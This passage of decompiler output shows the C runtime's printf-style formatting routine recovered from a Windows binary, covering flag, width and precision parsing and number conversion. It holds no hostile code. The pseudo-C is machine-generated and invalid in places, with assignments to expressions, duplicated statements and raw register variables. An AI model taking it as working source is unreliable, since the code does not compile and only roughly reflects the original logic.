											 *(__ebp - 0x2b4) = 0;
										} else {
											__eax = __ebp + 0x14;
											__eax = E004284A0(__ebp + 0x14);
											asm("cdq");
											 *(__ebp - 0x2b8) = __eax;
											 *(__ebp - 0x2b4) = __edx;
										}
									} else {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											E004284A0(__ebp + 0x14) = __ax & 0x0000ffff;
											asm("cdq");
											 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
											 *(__ebp - 0x2b4) = __edx;
										} else {
											__eax = __ebp + 0x14;
											__eax = E004284A0(__ebp + 0x14);
											__ax = __eax;
											asm("cdq");
											 *(__ebp - 0x2b8) = __eax;
											 *(__ebp - 0x2b4) = __edx;
										}
									}
								} else {
									__eax = __ebp + 0x14;
									 *(__ebp - 0x2b8) = E004284C0(__ebp + 0x14);
									 *(__ebp - 0x2b4) = __edx;
								}
							} else {
								__ecx = __ebp + 0x14;
								 *(__ebp - 0x2b8) = E004284C0(__ebp + 0x14);
								 *(__ebp - 0x2b4) = __edx;
							}
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
							__eflags =  *(__ebp - 0x10) & 0x00000040;
							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
								goto L170;
							}
							L166:
							__eflags =  *(__ebp - 0x2b4);
							if(__eflags > 0) {
								goto L170;
							}
							L167:
							if(__eflags < 0) {
								L169:
								 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b8));
								__edx =  *(__ebp - 0x2b4);
								asm("adc edx, 0x0");
								__edx =  ~( *(__ebp - 0x2b4));
								 *(__ebp - 0x2c0) =  ~( *(__ebp - 0x2b8));
								 *(__ebp - 0x2bc) =  ~( *(__ebp - 0x2b4));
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								L171:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										__edx =  *(__ebp - 0x2c0);
										__eax =  *(__ebp - 0x2bc);
										__eax =  *(__ebp - 0x2bc) & 0x00000000;
										__eflags = __eax;
										 *(__ebp - 0x2bc) = __eax;
									}
								}
								__eflags =  *(__ebp - 0x30);
								if( *(__ebp - 0x30) >= 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									__eflags =  *(__ebp - 0x30) - 0x200;
									if( *(__ebp - 0x30) > 0x200) {
										 *(__ebp - 0x30) = 0x200;
									}
								} else {
									 *(__ebp - 0x30) = 1;
								}
								 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
								__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
								if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
									 *(__ebp - 0x1c) = 0;
								}
								__eax = __ebp - 0x49;
								 *(__ebp - 4) = __ebp - 0x49;
								while(1) {
									L181:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L183;
									}
									L182:
									 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
									__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
									if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
										L186:
										__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
										 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
										__ecx =  *(__ebp - 4);
										__ecx =  *(__ebp - 4) + 1;
										 *(__ebp - 4) = __ecx;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
										__eflags =  *(__ebp - 0x10) & 0x00000200;
										if(( *(__ebp - 0x10) & 0x00000200) == 0) {
											while(1) {
												L190:
												__eflags =  *(__ebp - 0x28);
												if( *(__ebp - 0x28) != 0) {
													goto L216;
												}
												L191:
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
												__eflags =  *(__ebp - 0x10) & 0x00000040;
												if(( *(__ebp - 0x10) & 0x00000040) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
													__eflags =  *(__ebp - 0x10) & 0x00000100;
													if(( *(__ebp - 0x10) & 0x00000100) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
														__eflags =  *(__ebp - 0x10) & 0x00000001;
														if(( *(__ebp - 0x10) & 0x00000001) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
															__eflags =  *(__ebp - 0x10) & 0x00000002;
															if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																 *(__ebp - 0x14) = 0x20;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															 *(__ebp - 0x14) = 0x2b;
															 *(__ebp - 0x1c) = 1;
														}
													} else {
														 *(__ebp - 0x14) = 0x2d;
														 *(__ebp - 0x1c) = 1;
													}
												}
												 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x2c4) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
												__eflags =  *(__ebp - 0x10) & 0x0000000c;
												if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
													__edx = __ebp - 0x24c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x2c4);
													__eax = E004283D0(0x20,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
												}
												__edx = __ebp - 0x24c;
												__eax =  *(__ebp + 8);
												__ecx =  *(__ebp - 0x1c);
												__edx = __ebp - 0x14;
												E00428410( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x24c) =  *(__ebp - 0x10);
												__eax =  *(__ebp - 0x10) & 0x00000008;
												__eflags =  *(__ebp - 0x10) & 0x00000008;
												if(( *(__ebp - 0x10) & 0x00000008) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
													__eflags =  *(__ebp - 0x10) & 0x00000004;
													if(( *(__ebp - 0x10) & 0x00000004) == 0) {
														__edx = __ebp - 0x24c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x2c4);
														__eax = E004283D0(0x30,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
													}
												}
												__eflags =  *(__ebp - 0xc);
												if( *(__ebp - 0xc) == 0) {
													L212:
													__ecx = __ebp - 0x24c;
													__edx =  *(__ebp + 8);
													__eax =  *(__ebp - 0x24);
													__ecx =  *(__ebp - 4);
													__eax = E00428410(__ecx, __ecx,  *(__ebp - 0x24),  *(__ebp + 8), __ebp - 0x24c);
													goto L213;
												} else {
													L204:
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) <= 0) {
														goto L212;
													}
													L205:
													 *(__ebp - 0x2dc) = 0;
													__edx =  *(__ebp - 4);
													 *(__ebp - 0x2c8) =  *(__ebp - 4);
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x2cc) =  *(__ebp - 0x24);
													while(1) {
														L206:
														__ecx =  *(__ebp - 0x2cc);
														 *(__ebp - 0x2cc) =  *(__ebp - 0x2cc) - 1;
														 *(__ebp - 0x2cc) =  *(__ebp - 0x2cc) - 1;
														__eflags = __ecx;
														if(__ecx == 0) {
															break;
														}
														L207:
														__eax =  *(__ebp - 0x2c8);
														 *(__ebp - 0x32e) =  *( *(__ebp - 0x2c8));
														__edx =  *(__ebp - 0x32e) & 0x0000ffff;
														__eax = __ebp - 0x2d8;
														__ecx = __ebp - 0x2d0;
														 *(__ebp - 0x2dc) = E00434360(__ebp - 0x2d0, __ebp - 0x2d8, 6,  *(__ebp - 0x32e) & 0x0000ffff);
														 *(__ebp - 0x2c8) =  *(__ebp - 0x2c8) + 2;
														 *(__ebp - 0x2c8) =  *(__ebp - 0x2c8) + 2;
														__eflags =  *(__ebp - 0x2dc);
														if( *(__ebp - 0x2dc) != 0) {
															L209:
															 *(__ebp - 0x24c) = 0xffffffff;
															break;
														}
														L208:
														__eflags =  *(__ebp - 0x2d0);
														if( *(__ebp - 0x2d0) != 0) {
															L210:
															__eax = __ebp - 0x24c;
															__ecx =  *(__ebp + 8);
															__edx =  *(__ebp - 0x2d0);
															__ebp - 0x2d8 = E00428410( *(__ebp + 8), __ebp - 0x2d8,  *(__ebp - 0x2d0),  *(__ebp + 8), __ebp - 0x24c);
															continue;
														}
														goto L209;
													}
													L211:
													L213:
													__eflags =  *(__ebp - 0x24c);
													if( *(__ebp - 0x24c) >= 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) != 0) {
															__eax = __ebp - 0x24c;
															__ecx =  *(__ebp + 8);
															__edx =  *(__ebp - 0x2c4);
															__eax = E004283D0(0x20,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
														}
													}
												}
												L216:
												__eflags =  *(__ebp - 0x20);
												if( *(__ebp - 0x20) != 0) {
													 *(__ebp - 0x20) = L0041C510( *(__ebp - 0x20), 2);
													 *(__ebp - 0x20) = 0;
												}
												while(1) {
													L218:
													 *(_t557 - 0x251) =  *( *(_t557 + 0xc));
													_t547 =  *(_t557 - 0x251);
													 *(_t557 + 0xc) =  *(_t557 + 0xc) + 1;
													if( *(_t557 - 0x251) == 0 ||  *(_t557 - 0x24c) < 0) {
														break;
													} else {
														if( *(_t557 - 0x251) < 0x20 ||  *(_t557 - 0x251) > 0x78) {
															 *(_t557 - 0x310) = 0;
														} else {
															 *(_t557 - 0x310) =  *( *(_t557 - 0x251) +  &M00407DE8) & 0xf;
														}
													}
													L7:
													 *(_t557 - 0x250) =  *(_t557 - 0x310);
													_t506 =  *(_t557 - 0x250) * 9;
													_t536 =  *(_t557 - 0x25c);
													_t547 = ( *(_t506 + _t536 + 0x407e08) & 0x000000ff) >> 4;
													 *(_t557 - 0x25c) = ( *(_t506 + _t536 + 0x407e08) & 0x000000ff) >> 4;
													if( *(_t557 - 0x25c) != 8) {
														L16:
														 *(_t557 - 0x318) =  *(_t557 - 0x25c);
														__eflags =  *(_t557 - 0x318) - 7;
														if( *(_t557 - 0x318) > 7) {
															continue;
														}
														L17:
														switch( *((intOrPtr*)( *(_t557 - 0x318) * 4 +  &M004356A0))) {
															case 0:
																L18:
																 *(_t557 - 0xc) = 0;
																_t509 = E00431350( *(_t557 - 0x251) & 0x000000ff, E0041AE20(_t557 - 0x40));
																_t562 = _t559 + 8;
																__eflags = _t509;
																if(_t509 == 0) {
																	L24:
																	E00428330( *(_t557 - 0x251) & 0x000000ff,  *(_t557 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t557 + 8)), _t557 - 0x24c);
																	_t559 = _t562 + 0xc;
																	goto L218;
																} else {
																	E00428330( *((intOrPtr*)(_t557 + 8)),  *(_t557 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t557 + 8)), _t557 - 0x24c);
																	_t562 = _t562 + 0xc;
																	_t541 =  *( *(_t557 + 0xc));
																	 *(_t557 - 0x251) =  *( *(_t557 + 0xc));
																	_t547 =  *(_t557 + 0xc) + 1;
																	__eflags = _t547;
																	 *(_t557 + 0xc) = _t547;
																	asm("sbb eax, eax");
																	 *(_t557 - 0x27c) =  ~( ~( *(_t557 - 0x251)));
																	if(_t547 == 0) {
																		_push(L"(ch != _T(\'\\0\'))");
																		_push(0);
																		_push(0x486);
																		_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																		_push(2);
																		_t521 = L0041E350();
																		_t562 = _t562 + 0x14;
																		__eflags = _t521 - 1;
																		if(_t521 == 1) {
																			asm("int3");
																		}
																	}
																	L22:
																	__eflags =  *(_t557 - 0x27c);
																	if( *(_t557 - 0x27c) != 0) {
																		goto L24;
																	} else {
																		 *((intOrPtr*)(L00422E40(_t541))) = 0x16;
																		E00422BD0(_t528, _t541, _t555, _t556, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																		 *(_t557 - 0x2f4) = 0xffffffff;
																		E0041ADF0(_t557 - 0x40);
																		_t499 =  *(_t557 - 0x2f4);
																		goto L229;
																	}
																}
															case 1:
																L25:
																 *(__ebp - 0x2c) = 0;
																__edx =  *(__ebp - 0x2c);
																 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																__eax =  *(__ebp - 0x28);
																 *(__ebp - 0x18) =  *(__ebp - 0x28);
																__ecx =  *(__ebp - 0x18);
																 *(__ebp - 0x1c) = __ecx;
																 *(__ebp - 0x10) = 0;
																 *(__ebp - 0x30) = 0xffffffff;
																 *(__ebp - 0xc) = 0;
																goto L218;
															case 2:
																L26:
																__edx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																__eflags =  *(__ebp - 0x31c) - 0x10;
																if( *(__ebp - 0x31c) > 0x10) {
																	goto L33;
																}
																L27:
																__ecx =  *(__ebp - 0x31c);
																_t72 = __ecx + 0x4356d8; // 0x498d04
																__edx =  *_t72 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t72 & 0x000000ff) * 4 +  &M004356C0))) {
																	case 0:
																		goto L30;
																	case 1:
																		goto L31;
																	case 2:
																		goto L29;
																	case 3:
																		goto L28;
																	case 4:
																		goto L32;
																	case 5:
																		goto L33;
																}
															case 3:
																L34:
																__edx =  *((char*)(__ebp - 0x251));
																__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																if( *((char*)(__ebp - 0x251)) != 0x2a) {
																	__eax =  *(__ebp - 0x18);
																	__eax =  *(__ebp - 0x18) * 0xa;
																	__eflags = __eax;
																	__ecx =  *((char*)(__ebp - 0x251));
																	_t96 = __ecx - 0x30; // -48
																	__edx = __eax + _t96;
																	 *(__ebp - 0x18) = __eax + _t96;
																} else {
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x18) = E004284A0(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x18);
																	if( *(__ebp - 0x18) < 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000004;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																		 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																		 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																	}
																}
																goto L218;
															case 4:
																L40:
																 *(__ebp - 0x30) = 0;
																goto L218;
															case 5:
																L41:
																__eax =  *((char*)(__ebp - 0x251));
																__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																if( *((char*)(__ebp - 0x251)) != 0x2a) {
																	__edx =  *(__ebp - 0x30);
																	__edx =  *(__ebp - 0x30) * 0xa;
																	__eflags = __edx;
																	_t107 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																	__ecx = __edx + _t107;
																	 *(__ebp - 0x30) = __ecx;
																} else {
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 0x30) = E004284A0(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) < 0) {
																		 *(__ebp - 0x30) = 0xffffffff;
																	}
																}
																goto L218;
															case 6:
																L47:
																__edx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																__eflags =  *(__ebp - 0x320) - 0x2e;
																if( *(__ebp - 0x320) > 0x2e) {
																	L70:
																	goto L218;
																}
																L48:
																__ecx =  *(__ebp - 0x320);
																_t115 = __ecx + 0x435700; // 0x4f0e9003
																__edx =  *_t115 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t115 & 0x000000ff) * 4 +  &M004356EC))) {
																	case 0:
																		L53:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x36;
																		if( *( *(__ebp + 0xc)) != 0x36) {
																			L56:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x33;
																			if( *( *(__ebp + 0xc)) != 0x33) {
																				L59:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x64;
																				if( *( *(__ebp + 0xc)) == 0x64) {
																					L65:
																					L67:
																					goto L70;
																				}
																				L60:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx;
																				__eflags =  *__ecx - 0x69;
																				if( *__ecx == 0x69) {
																					goto L65;
																				}
																				L61:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc));
																				__eflags = __ecx - 0x6f;
																				if(__ecx == 0x6f) {
																					goto L65;
																				}
																				L62:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x75;
																				if( *( *(__ebp + 0xc)) == 0x75) {
																					goto L65;
																				}
																				L63:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx;
																				__eflags =  *__ecx - 0x78;
																				if( *__ecx == 0x78) {
																					goto L65;
																				}
																				L64:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc));
																				__eflags = __ecx - 0x58;
																				if(__ecx != 0x58) {
																					 *(__ebp - 0x25c) = 0;
																					goto L18;
																				}
																				goto L65;
																			}
																			L57:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *((char*)(__ecx + 1));
																			__eflags =  *((char*)(__ecx + 1)) - 0x32;
																			if( *((char*)(__ecx + 1)) != 0x32) {
																				goto L59;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																				 *(__ebp - 0x10) = __ecx;
																				goto L67;
																			}
																		}
																		L54:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *((char*)(__ecx + 1));
																		__eflags =  *((char*)(__ecx + 1)) - 0x34;
																		if( *((char*)(__ecx + 1)) != 0x34) {
																			goto L56;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00008000;
																			 *(__ebp - 0x10) = __ecx;
																			goto L67;
																		}
																	case 1:
																		L68:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																		goto L70;
																	case 2:
																		L49:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc));
																		__eflags = __ecx - 0x6c;
																		if(__ecx != 0x6c) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000010;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		}
																		goto L70;
																	case 3:
																		L69:
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																		goto L70;
																	case 4:
																		goto L70;
																}
															case 7:
																L71:
																__ecx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x324) = __ecx;
																 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
																 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
																__eflags =  *(__ebp - 0x324) - 0x37;
																if( *(__ebp - 0x324) > 0x37) {
																	while(1) {
																		L190:
																		__eflags =  *(__ebp - 0x28);
																		if( *(__ebp - 0x28) != 0) {
																			goto L216;
																		}
																		goto L191;
																	}
																}
																L72:
																_t156 =  *(__ebp - 0x324) + 0x43576c; // 0xcccccc0d
																__ecx =  *_t156 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M00435730))) {
																	case 0:
																		L123:
																		 *(__ebp - 0x2c) = 1;
																		__ecx =  *((char*)(__ebp - 0x251));
																		__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																		__eflags = __ecx;
																		 *((char*)(__ebp - 0x251)) = __cl;
																		goto L124;
																	case 1:
																		L73:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																		}
																		goto L75;
																	case 2:
																		L88:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		}
																		goto L90;
																	case 3:
																		L147:
																		 *(__ebp - 0x260) = 7;
																		L148:
																		 *(__ebp - 8) = 0x10;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			 *(__ebp - 0x14) = 0x30;
																			 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
																			__eflags =  *(__ebp - 0x260) + 0x51;
																			 *((char*)(__ebp - 0x13)) = __al;
																			 *(__ebp - 0x1c) = 2;
																		}
																		goto L153;
																	case 4:
																		L81:
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x288) = E004284A0(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x288);
																		if( *(__ebp - 0x288) == 0) {
																			L83:
																			__edx =  *0x440f80; // 0x404448
																			 *(__ebp - 4) = __edx;
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DDF0( *(__ebp - 4));
																			L87:
																			goto L190;
																		}
																		L82:
																		__ecx =  *(__ebp - 0x288);
																		__eflags =  *(__ecx + 4);
																		if( *(__ecx + 4) != 0) {
																			L84:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																			__eflags =  *(__ebp - 0x10) & 0x00000800;
																			if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																				 *(__ebp - 0xc) = 0;
																				__edx =  *(__ebp - 0x288);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x288);
																				__edx =  *__ecx;
																				 *(__ebp - 0x24) =  *__ecx;
																			} else {
																				__edx =  *(__ebp - 0x288);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x288);
																				__eax =  *__ecx;
																				asm("cdq");
																				 *__ecx - __edx =  *__ecx - __edx >> 1;
																				 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																				 *(__ebp - 0xc) = 1;
																			}
																			goto L87;
																		}
																		goto L83;
																	case 5:
																		L124:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		__eax = __ebp - 0x248;
																		 *(__ebp - 4) = __ebp - 0x248;
																		 *(__ebp - 0x44) = 0x200;
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) >= 0) {
																			L126:
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) != 0) {
																				L129:
																				__eflags =  *(__ebp - 0x30) - 0x200;
																				if( *(__ebp - 0x30) > 0x200) {
																					 *(__ebp - 0x30) = 0x200;
																				}
																				L131:
																				__eflags =  *(__ebp - 0x30) - 0xa3;
																				if( *(__ebp - 0x30) > 0xa3) {
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x20) = L0041B890(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																					__eflags =  *(__ebp - 0x20);
																					if( *(__ebp - 0x20) == 0) {
																						 *(__ebp - 0x30) = 0xa3;
																					} else {
																						__eax =  *(__ebp - 0x20);
																						 *(__ebp - 4) =  *(__ebp - 0x20);
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																					}
																				}
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				__eax =  *(__ebp + 0x14);
																				__ecx =  *(__eax - 8);
																				__edx =  *(__eax - 4);
																				 *(__ebp - 0x2a8) =  *(__eax - 8);
																				 *(__ebp - 0x2a4) =  *(__eax - 4);
																				__ecx = __ebp - 0x40;
																				_push(E0041AE20(__ebp - 0x40));
																				__eax =  *(__ebp - 0x2c);
																				_push( *(__ebp - 0x2c));
																				__ecx =  *(__ebp - 0x30);
																				_push( *(__ebp - 0x30));
																				__edx =  *((char*)(__ebp - 0x251));
																				_push( *((char*)(__ebp - 0x251)));
																				__eax =  *(__ebp - 0x44);
																				_push( *(__ebp - 0x44));
																				__ecx =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__edx = __ebp - 0x2a8;
																				_push(__ebp - 0x2a8);
																				__eax =  *0x440374; // 0x7e8e98dc
																				__eax =  *__eax();
																				__esp = __esp + 0x1c;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																					__eflags =  *(__ebp - 0x30);
																					if( *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AE20(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x440380; // 0x8a8e9826
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__ecx =  *((char*)(__ebp - 0x251));
																				__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																				if( *((char*)(__ebp - 0x251)) == 0x67) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AE20(__ebp - 0x40));
																						__eax =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__ecx =  *0x44037c; // 0xc28e9826
																						E00424690(__ecx) =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__edx =  *(__ebp - 4);
																				__eax =  *( *(__ebp - 4));
																				__eflags =  *( *(__ebp - 4)) - 0x2d;
																				if( *( *(__ebp - 4)) == 0x2d) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					__edx =  *(__ebp - 4);
																					__edx =  *(__ebp - 4) + 1;
																					__eflags = __edx;
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DDF0( *(__ebp - 4));
																				do {
																					L190:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L216;
																					}
																					goto L191;
																				} while ( *(__ebp - 0x324) > 0x37);
																				goto L72;
																			}
																			L127:
																			__ecx =  *((char*)(__ebp - 0x251));
																			__eflags = __ecx - 0x67;
																			if(__ecx != 0x67) {
																				goto L129;
																			}
																			L128:
																			 *(__ebp - 0x30) = 1;
																			goto L131;
																		}
																		L125:
																		 *(__ebp - 0x30) = 6;
																		goto L131;
																	case 6:
																		L75:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																		__eflags =  *(__ebp - 0x10) & 0x00000810;
																		if(( *(__ebp - 0x10) & 0x00000810) == 0) {
